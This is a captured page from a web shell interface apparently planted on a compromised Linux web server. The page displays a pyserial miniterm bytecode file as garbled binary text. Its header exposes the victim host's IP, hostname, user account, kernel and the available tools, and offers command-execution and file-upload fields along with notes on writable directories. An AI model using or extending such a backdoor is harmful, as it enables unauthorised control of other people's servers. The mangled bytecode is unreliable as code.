403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.147.8.67
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/serial/tools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/serial/tools/__pycache__/miniterm.cpython-36.opt-1.pyc
3

M�]WV��@s�ddlZddlZddlZddlZddlZddlmZddlmZej	dd��ye
Wnek
rreZ
e
ZYnXdd�ZGdd	�d	e�Zejd
kr�ddlZddlZGdd�de�ZGd
d�de�ZnDejdkr�ddlZddlZddlZGdd�de�Znedjej���Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Z Gdd�de�Z!Gdd�de!�Z"Gdd�de�Z#Gd d!�d!e�Z$Gd"d#�d#e�Z%eee d$�Z&ee!e"e#e$e%d%�Z'd&d'�Z(Gd(d)�d)e�Z)d.d+d,�Z*e+d-k�r�e*�dS)/�N)�comports)�
hexlify_codeccCs|dkrtj�SdS)NZhexlify)r�getregentry)�c�r�/usr/lib/python3.6/miniterm.py�<lambda>srcCs.t|�}|dkr"djtd�|�St|�SdS)z)generate a readable description for a key� z	Ctrl+{:c}�@N)�ord�format�repr)�	characterZ
ascii_coderrr�key_descriptionsrc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�ConsoleBasez8OS abstraction for console (input/output codec, no echo)cCs*tjdkrtjj|_ntj|_tj|_dS)N�r)rr)�sys�version_info�stdout�buffer�byte_output�output)�selfrrr�__init__,s
zConsoleBase.__init__cCsdS)z.Set console to read single characters, no echoNr)rrrr�setup3szConsoleBase.setupcCsdS)z Restore default console settingsNr)rrrr�cleanup6szConsoleBase.cleanupcCsdS)z"Read a single key from the consoleNr)rrrr�getkey9szConsoleBase.getkeycCs|jj|�|jj�dS)zWrite bytes (already encoded)N)r�write�flush)rZbyte_stringrrr�write_bytes=szConsoleBase.write_bytescCs|jj|�|jj�dS)zWrite stringN)rrr)r�textrrrrBszConsoleBase.writecCsdS)zCancel getkey operationNr)rrrr�cancelGszConsoleBase.cancelcCs|j�|S)N)r)rrrr�	__enter__NszConsoleBase.__enter__cOs|j�dS)N)r)r�args�kwargsrrr�__exit__RszConsoleBase.__exit__N)
�__name__�
__module__�__qualname__�__doc__rrrrrrr!r"r%rrrrr)sr�ntc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�Outz$file-like wrapper that uses os.writecCs
||_dS)N)�fd)rr,rrrr]szOut.__init__cCsdS)Nr)rrrrr`sz	Out.flushcCstj|j|�dS)N)�osrr,)r�srrrrcsz	Out.writeN)r&r'r(r)rrrrrrrr+Zsr+cs4eZdZ�fdd�Zdd�Zdd�Zdd�Z�ZS)	�Consolecs�tt|�j�tjjj�|_tjjj�|_	tjjj
d�tjjjd�tj
d�ttjj��d�|_tj
d�ttjj��d�t_|jt_d|j_dS)Ni�zUTF-8�replace)�superr/r�ctypes�windll�kernel32ZGetConsoleOutputCP�
_saved_ocpZGetConsoleCP�
_saved_icp�SetConsoleOutputCP�SetConsoleCP�codecs�	getwriterr+rr�filenor�stderr�encoding)r)�	__class__rrrgszConsole.__init__cCs$tjjj|j�tjjj|j�dS)N)r2r3r4r7r5r8r6)rrrr�__del__sszConsole.__del__cCsHxBtj�}|td�krtd�S|td�td�fkr<tj�q|SqWdS)N�
�
r�)�msvcrtZgetwch�unichr)r�zrrrrws
zConsole.getkeycCs$tjjj�}tjjj|ddd�dS)N�r@r)r2r3r4ZGetConsoleWindowZuser32ZPostMessageA)rZhwndrrrr!�szConsole.cancel)r&r'r(rr?rr!�
__classcell__rr)r>rr/fs
r/�posixcs<eZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Z�ZS)r/csrtt|�j�tjj�|_tj�\|_	|_
tj|j�|_
tj|j�tjdkrftjtjj�tj�|_ntj|_dS)Nrr)rr)r1r/rr�stdinr;r,r-�pipe�pipe_r�pipe_w�termios�	tcgetattr�old�atexit�registerrrr9�	getreaderr=�	enc_stdin)r)r>rrr�s
zConsole.__init__cCsbtj|j�}|dtj@tj@tj@|d<d|dtj<d|dtj<tj|jtj	|�dS)Nr��r)
rMrNr,ZICANONZECHOZISIGZVMINZVTIME�	tcsetattrZTCSANOW)r�newrrrr�s
$z
Console.setupcCs^tj|j|jgggd�\}}}|j|kr:tj|jd�dS|jjd�}|td�krZtd�}|S)NrT��)�selectrSrKr-�readrD)rZready�_rrrrr�s
zConsole.getkeycCstj|jd�dS)N�x)r-rrL)rrrrr!�szConsole.cancelcCstj|jtj|j�dS)N)rMrVr,Z	TCSAFLUSHrO)rrrrr�szConsole.cleanup)	r&r'r(rrrr!rrGrr)r>rr/�s


z9Sorry no implementation for your platform ({}) available.c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�	Transformz&do-nothing: forward all data unchangedcCs|S)ztext received from serial portr)rr rrr�rx�szTransform.rxcCs|S)ztext to be sent to serial portr)rr rrr�tx�szTransform.txcCs|S)z(text to be sent but displayed on consoler)rr rrr�echo�szTransform.echoN)r&r'r(r)r_r`rarrrrr^�sr^c@seZdZdZdd�ZdS)�CRLFzENTER sends CR+LFcCs|jdd�S)N�
z
)r0)rr rrrr`�szCRLF.txN)r&r'r(r)r`rrrrrb�srbc@s eZdZdZdd�Zdd�ZdS)�CRzENTER sends CRcCs|jdd�S)N�
rc)r0)rr rrrr_�szCR.rxcCs|jdd�S)Nrcre)r0)rr rrrr`�szCR.txN)r&r'r(r)r_r`rrrrrd�srdc@seZdZdZdS)�LFzENTER sends LFN)r&r'r(r)rrrrrf�srfc@sBeZdZdZedd�ed�D��Zejddd��dd	�ZeZ	d
S)�
NoTerminalz0remove typical terminal control codes from inputccs&|]}t|�dkr|d|fVqdS)z
	i$N)rD)�.0r]rrr�	<genexpr>�szNoTerminal.<genexpr>r	i!$i%$)rX�cCs|j|j�S)N)�	translate�REPLACEMENT_MAP)rr rrrr_�sz
NoTerminal.rxN)
r&r'r(r)�dict�rangerl�updater_rarrrrrg�s
rgc@s8eZdZdZedd�ed�D��Zejdddd��d	S)
�
NoControlsz%Remove all control codes, incl. CR+LFccs|]}|d|fVqdS)i$Nr)rhr]rrrri�szNoControls.<genexpr>r	i#$i!$i%$)r	rXrjN)r&r'r(r)rmrnrlrorrrrrp�srpc@seZdZdZdd�ZeZdS)�	PrintablezMShow decimal code for all non-ASCII characters and replace most control codescCs�g}x�|D]x}d|ko dkns.|dkr:|j|�q
|dkrZ|jtdt|���q
|jdd�djt|��D��|jd�q
Wdj|�S)	N� �z
	i$css"|]}tdt|�d�VqdS)i� �0N)rDr)rh�drrrriszPrintable.rx.<locals>.<genexpr>z{:d}�)�appendrDr�extendr�join)rr �rrrrrr_�s
 zPrintable.rxN)r&r'r(r)r_rarrrrrq�srqc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�Colorizez,Apply different colors for received and echocCsd|_d|_dS)Nzz)�input_color�
echo_color)rrrrr
szColorize.__init__cCs
|j|S)N)r|)rr rrrr_szColorize.rxcCs
|j|S)N)r})rr rrrrasz
Colorize.echoN)r&r'r(r)rr_rarrrrr{
sr{c@s eZdZdZdd�Zdd�ZdS)�DebugIOzPrint what is sent and receivedcCs$tjjdjt|���tjj�|S)Nz	 [RX:{}] )rr<rrr
r)rr rrrr_s
z
DebugIO.rxcCs$tjjdjt|���tjj�|S)Nz	 [TX:{}] )rr<rrr
r)rr rrrr`!s
z
DebugIO.txN)r&r'r(r)r_r`rrrrr~sr~)�crlfZcrZlf)Zdirect�defaultZ	nocontrolZ	printableZcolorize�debugcCs�tjjd�g}xBttt��d�D].\}\}}}tjjdj|||��|j|�q"Wxdtd�}y:t	|�d}d|ko�t
|�kns�tjjd�wVWntk
r�Yn
X||}|SdS)z�    Show a list of ports and ask the user for a choice. To make selection
    easier on systems with long device names, also allow the input of an
    index.
    z
--- Available ports:
rTz--- {:2}: {:20} {}
z#--- Enter port index or full name: rz--- Invalid index!
N)rr<r�	enumerate�sortedrrrw�	raw_input�int�len�
ValueError)Zports�n�portZdescZhwid�indexrrr�ask_for_port<s  r�c@s�eZdZdZddffdd�Zdd�Zdd	�Zd
d�Zdd
�Zd$dd�Z	dd�Z
dd�Zd%dd�Zd&dd�Z
dd�Zdd�Zdd�Zdd �Zd!d"�Zd#S)'�Minitermz�    Terminal application. Copy data from serial port to console and vice versa.
    Handle special keys from the console to show menu etc.
    FrcCsht�|_||_||_d|_d|_d|_||_||_|j	�d|_
d|_d|_d|_
d|_d|_d|_dS)NFzUTF-8��)r/�console�serialra�raw�input_encoding�output_encoding�eol�filters�update_transformations�exit_character�menu_character�alive�
_reader_alive�receiver_thread�
rx_decoderZ
tx_decoder)r�serial_instancerar�r�rrrr[s zMiniterm.__init__cCs.d|_tj|jdd�|_d|j_|jj�dS)zStart reader threadTr_)�target�nameN)r��	threading�Thread�readerr��daemon�start)rrrr�
_start_readermszMiniterm._start_readercCs*d|_t|jd�r|jj�|jj�dS)z6Stop reader thread only, wait for clean exit of threadF�cancel_readN)r��hasattrr�r�r�ry)rrrr�_stop_readerus
zMiniterm._stop_readercCs@d|_|j�tj|jdd�|_d|j_|jj�|jj	�dS)zstart worker threadsTr`)r�r�N)
r�r�r�r��writer�transmitter_threadr�r�r�r)rrrrr�|s
zMiniterm.startcCs
d|_dS)zset flag to stop worker threadsFN)r�)rrrr�stop�sz
Miniterm.stopcCs2|jj�|s.t|jd�r$|jj�|jj�dS)z$wait for worker threads to terminater�N)r�ryr�r�r�r�)rZ
transmit_onlyrrrry�s


z
Miniterm.joincCs|jj�dS)N)r��close)rrrrr��szMiniterm.closecCs@t|jgdd�|jD�}dd�|D�|_tt|j��|_dS)zFtake list of transformation classes and instantiate them for rx and txcSsg|]}t|�qSr)�TRANSFORMATIONS)rh�frrr�
<listcomp>�sz3Miniterm.update_transformations.<locals>.<listcomp>cSsg|]
}|��qSrr)rh�trrrr��sN)�EOL_TRANSFORMATIONSr�r��tx_transformations�list�reversed�rx_transformations)rZtransformationsrrrr��szMiniterm.update_transformationsr0cCs||_tj|�|�|_dS)zset encoding for received dataN)r�r9�getincrementaldecoderr�)rr=�errorsrrr�set_rx_encoding�szMiniterm.set_rx_encodingcCs||_tj|�|�|_dS)z!set encoding for transmitted dataN)r�r9�getincrementalencoder�
tx_encoder)rr=r�rrr�set_tx_encoding�szMiniterm.set_tx_encodingcCsNtjjdj|jd��tjjdj|jjr,dnd|jjr:dnd|jjrHdnd��yLtjjdj|jjrhdnd|jj	rvdnd|jj
r�dnd|jjr�dnd��Wntjk
r�YnXtjjdj|jj
r�dnd��tjjdj|jjr�dnd��tjjd	j|j��tjjd
j|j��tjjdj|jj���tjjdjd
j|j���dS)z$Write current settings to sys.stderrzK
--- Settings: {p.name}  {p.baudrate},{p.bytesize},{p.parity},{p.stopbits}
)�pz&--- RTS: {:8}  DTR: {:8}  BREAK: {:8}
�active�inactivez---- CTS: {:8}  DSR: {:8}  RI: {:8}  CD: {:8}
z--- software flow control: {}
z--- hardware flow control: {}
z--- serial input encoding: {}
z--- serial output encoding: {}
z--- EOL: {}
z--- filters: {}
rrN)rr<rrr��rts�dtr�break_conditionZctsZdsrZriZcd�SerialException�xonxoff�rtsctsr�r�r��upperryr�)rrrr�dump_port_settings�s(


zMiniterm.dump_port_settingscCs�ytxn|jrp|jrp|jj|jjp d�}|r|jr<|jj|�q|jj	|�}x|j
D]}|j|�}qPW|jj|�qWWn(tj
k
r�d|_|jj��YnXdS)zloop and copy serial->consolerTFN)r�r�r�r[Z
in_waitingr�r�rr��decoder�r_rr�r!)r�datar �transformationrrrr��s
zMiniterm.readercCs�d}y�x�|jr�y|jj�}Wntk
r4d}YnX|js>P|rR|j|�d}q||jkrbd}q||jkrx|j�Pq|}x|jD]}|j	|�}q�W|j
j|jj
|��|jr|}x|jD]}|j|�}q�W|jj|�qWWnd|_�YnXdS)z�        Loop and copy console->serial until self.exit_character character is
        found. When self.menu_character is found, interpret the next key
        locally.
        F�TN)r�r�r�KeyboardInterrupt�handle_menu_keyr�r�r�r�r`r�rr��encodera)rZmenu_activerr r�Z	echo_textrrrr��s:



zMiniterm.writercCs�||jks||jkr>|jj|jj|��|jr:|jj|��nZ|dk�r:tj	jd�tj	j
�|j��tjj�j
d�}|�r,yvt|d��P}tj	jdj|��x6|jd�}|s�P|jj|�|jj
�tj	jd�q�WWdQRXtj	jd	j|��Wn8tk
�r*}ztj	jd
j||��WYdd}~XnXWdQRX�n^|dk�rXtj	j|j���n@|dk�r�|jj|j_tj	jd
j|jj�r�dnd���n|dk�r�|jj|j_tj	jdj|jj�r�dnd���n�|dk�r|jj|j_tj	jdj|jj�rdnd���n�|dk�rB|j|_tj	jdj|j�r6dnd���nV|dk�rtj	jd�tj	jdjdd�ttj��D���tj	jdjdj|j���|j�tjj�j�j�}WdQRX|�rx>|D](}|tk�r�tj	jdjt|���P�q�W||_|j�tj	jdjdj|j����nz|dk�r�tt �}|j!|j"�d }|t#|�k�rRd!}|||_"tj	jd"j|j"j$���|j��n|d#k�r<tj	jd$j|j%��|j�tjj�j&�}	WdQRX|	�ryt'j(|	�Wn(t)k
�r�tj	jd%j|	��YnX|j*|	�|j+|	�tj	jd&j|j%��tj	jd'j|j,���n\|d(k�rR|j-��nF|d)k�rn|j�,y
t.�}
Wnt/k
�r�d}
YnXWdQRX|
�r�|
|jj0k�r�|j1�|jj2�}yBtj3|
d*d+�}|j4|�|jj|_|jj|_|j�|jj|_Wn>t5k
�r:}z tj	jd,j|��|j6�WYdd}~Xn(X|jj6�||_tj	jd-j|jj0��|j7��n*|d.k�rtj	jd/�tj	j
�|j�p|jj8}
yt9tjj�j&��|j_8Wn>t:k
�r�}z tj	jd0j|��|
|j_8WYdd}~Xn
X|j-�WdQRX�n�|d1k�r.tj;|j_<|j-��nj|d2k�rNtj=|j_<|j-��nJ|d3k�rntj>|j_?|j-��n*|d4k�r�tj@|j_?|j-��n
|d5k�r�tjA|j_?|j-�n�|d6k�r�tjB|j_?|j-�n�|d7k�r�tjC|j_?|j-�n�|d8k�rtjD|j_E|j-�n�|d9k�r$tjF|j_E|j-�nt|d:k�rBtjG|j_E|j-�nV|d;k�rb|d<k|j_H|j-�n6|d=k�r�|d>k|j_I|j-�ntj	jd?jtJ|���dS)@z"Implement a simple menu / settings�z
--- File to upload: z
�rbz--- Sending file {} ---
i�.Nz
--- File {} sent ---
z"--- ERROR opening file {}: {} ---
zhH?�z--- RTS {} ---
r�r��z--- DTR {} ---
�z--- BREAK {} ---
�z--- local echo {} ---
�z
--- Available Filters:
rccss|]\}}dj||�VqdS)z---   {:<10} = {.__doc__}N)r)rh�k�vrrrri$sz+Miniterm.handle_menu_key.<locals>.<genexpr>z$
--- Enter new filter name(s) [{}]: rrz--- unknown filter: {}z--- filters: {}
�rTrz--- EOL: {} ---
�z#
--- Enter new encoding name [{}]: z--- invalid encoding name: {}
z--- serial input encoding: {}
z--- serial output encoding: {}
�	ZpPT)�do_not_openz#--- ERROR opening new port: {} ---
z--- Port changed to: {} ---
ZbBz
--- Baudrate: z#--- ERROR setting baudrate: {} ---
�8�7ZeEZoOZmMZsSZnN�1�2�3ZxX�XZrR�Rz!--- unknown menu character {} --
)Kr�r�r�rr�r�rar�rr<rrI�readline�rstrip�openrr[�IOError�
get_help_textr�r�r�ryr�r��itemsr��lower�splitr
r�r�r�r�r�r�r�r��stripr9�lookup�LookupErrorr�r�r�r�r�r�r�r�ZgetSettingsDict�serial_for_urlZapplySettingsDict�	Exceptionr�r��baudrater�r�Z	EIGHTBITSZbytesizeZ	SEVENBITSZPARITY_EVEN�parityZ
PARITY_ODDZPARITY_MARKZPARITY_SPACEZPARITY_NONEZSTOPBITS_ONEZstopbitsZSTOPBITS_TWOZSTOPBITS_ONE_POINT_FIVEr�r�r)rr�filenamer��block�eZnew_filtersZmodesr�Znew_encodingr�ZsettingsZ
new_serialZbackuprrrr��s&



4

$
$
$

"
















































zMiniterm.handle_menu_keycCsZdjttdd�t|j�t|j�td�td�td�td�td�td	�td
�td�td�d
�S)zreturn the help textaQ
--- pySerial ({version}) - miniterm - help
---
--- {exit:8} Exit program
--- {menu:8} Menu escape key, followed by:
--- Menu keys:
---    {menu:7} Send the menu character itself to remote
---    {exit:7} Send the exit character itself to remote
---    {info:7} Show info
---    {upload:7} Upload file (prompt will be shown)
---    {repr:7} encoding
---    {filter:7} edit filters
--- Toggles:
---    {rts:7} RTS   {dtr:7} DTR   {brk:7} BREAK
---    {echo:7} echo  {eol:7} EOL
---
--- Port settings ({menu} followed by the following):
---    p          change port
---    7 8        set data bits
---    N E O S M  change parity (None, Even, Odd, Space, Mark)
---    1 2 3      set stop bits (1, 2, 1.5)
---    b          change baud rate
---    x X        disable/enable software flow control
---    r R        disable/enable hardware flow control
�VERSIONzunknown versionr�r�r�r�r�r�r�r�r�)�version�exitZmenur�r�Zbrkra�infoZuploadr
�filterr�)r�getattrr�rr�r�)rrrrr��szMiniterm.get_help_textN)F)r0)r0)r&r'r(r)rr�r�r�r�ryr�r�r�r�r�r�r�r�r�rrrrr�Us"



&$r��%cCs�ddl}|jdd�}|jddd|d�|jd	dtd
|d�|jd�}|jd
dddddgdd�ddd�|jddddd�|jddddd�|jdtd|d �|jd!td"|d �|jd#dd$dd�|jd%�}|jd&d'dd(dd�|jd)d*d+d,d-d.�|jd/d0d1d2d3gd4�|jd5d6d7d8gd9d�d:d8d�|jd;dd<dd�|jd=�}|jd>td?d@dAdB�|jdCtd?dDdEdB�|jdF�}|jdGdHddIdd�|jdJddKdd�|j�}|j|jk�r�|jdL�|j	�rdM|j	k�rt
jjdN�t
jjdOj
dPdQ�ttj��D���t
jjdO�t
jdR�|j	}ndSg}�x�|jdk�s>|jdTk�r�yt�|_Wn,tk
�rvt
jjdO�|jdU�YnX|j�s�|jdV�y�tj|j|j|j|j|jdWdX�}	t|	dY��s�dR|	_|jdk	�r�|j�s�t
jjdZj|j�r�d[nd\��|j|	_|j dk	�r2|j�s*t
jjd]j|j �r"d[nd\��|j |	_ |	j!�Wndtj"k
�r�}
zDt
jjd^jt#|j�|
��|j$�rv�|j%�s�t
jdR�ndT|_WYdd}
~
XnXP�q&Wt&|	|j'|j(j)�|d_�}t*|j�|_+t*|j�|_,|j-|_-|j.|j/�|j0|j/�|j�sFt
jjd`j|jda��t
jjdbjt1|j+�t1|j,�t1|j,�t1dc���|j2�y|j
dW�Wntk
�rrYnX|j�s�t
jjdd�|j
�|j3�dS)ezCommand line tool, entry pointrNz9Miniterm - A simple terminal program for the serial port.)�descriptionr��?z(serial port name ('-' to show port list))�nargs�helpr�r�z#set baud rate, default: %(default)s)r��typer�r�z
port settingsz--parity�N�E�O�S�McSs|j�S)N)r�)rrrrr�szmain.<locals>.<lambda>z*set parity, one of {N E O S M}, default: N)�choicesrr�r�z--rtscts�
store_truez)enable RTS/CTS flow control (default off)F)�actionr�r�z	--xonxoffz*enable software flow control (default off)z--rtsz2set initial RTS line state (possible values: 0, 1))rr�r�z--dtrz2set initial DTR line state (possible values: 0, 1)z--askz"ask again for port when open failsz
data handlingz-ez--echozenable local echo (default off)z
--encoding�serial_port_encodingZCODECzXset the encoding for the serial port (e.g. hexlify, Latin1, UTF-8), default: %(default)szUTF-8)�dest�metavarr�r�z-fz--filterrw�NAMEzadd text transformation)rrr�r�z--eolrdrfrbcSs|j�S)N)r�)rrrrrszend of line modez--rawz)Do no apply any encodings/transformationsZhotkeysz--exit-charZNUMzWUnicode of special character that is used to exit the application, default: %(default)sr�)rrr�r�z--menu-charz_Unicode code of special character that is used to control miniterm (menu), default: %(default)sr�Zdiagnosticsz-qz--quietzsuppress non-error messagesz	--developzshow Python traceback on errorz.--exit-char can not be the same as --menu-charr�zAvailable filters:
rccss|]\}}dj||�VqdS)z{:<10} = {.__doc__}N)r)rhr�r�rrrriMszmain.<locals>.<genexpr>rTr��-z"user aborted and port is not givenzport is not givenT)r�r�r�r�r�z--- forcing DTR {}
r�r�z--- forcing RTS {}
zcould not open port {}: {}
)rar�r�zP--- Miniterm on {p.name}  {p.baudrate},{p.bytesize},{p.parity},{p.stopbits} ---
)r�z6--- Quit: {} | Menu: {} | Help: {} followed by {} ---
�z
--- exit ---
)4�argparse�ArgumentParser�add_argumentr�Zadd_argument_group�
parse_argsZ	menu_charZ	exit_char�errorr�rr<rryr�r�r�r�r�r�r�r�r�r�r�r�r�r�Ztimeoutr��quietrr�r�r�r
ZdevelopZaskr�rar�r�rDr�r�r�r�r	r�rr�r�)Zdefault_portZdefault_baudrateZdefault_rtsZdefault_dtrr�parser�groupr#r�r�r�Zminitermrrr�main�s^









r�__main__)Nr�NN),r9r-rr�r�Zserial.tools.list_portsrZserial.toolsrrQr��	NameError�input�chrrDr�objectrr�rCr2r+r/rPrMrZ�NotImplementedErrorr�platformr^rbrdrfrgrprqr{r~r�r�r�r�rr&rrrr�<module>
sh

-
!
&
t
[


Youez - 2016 - github.com/yon3zu
LinuXploit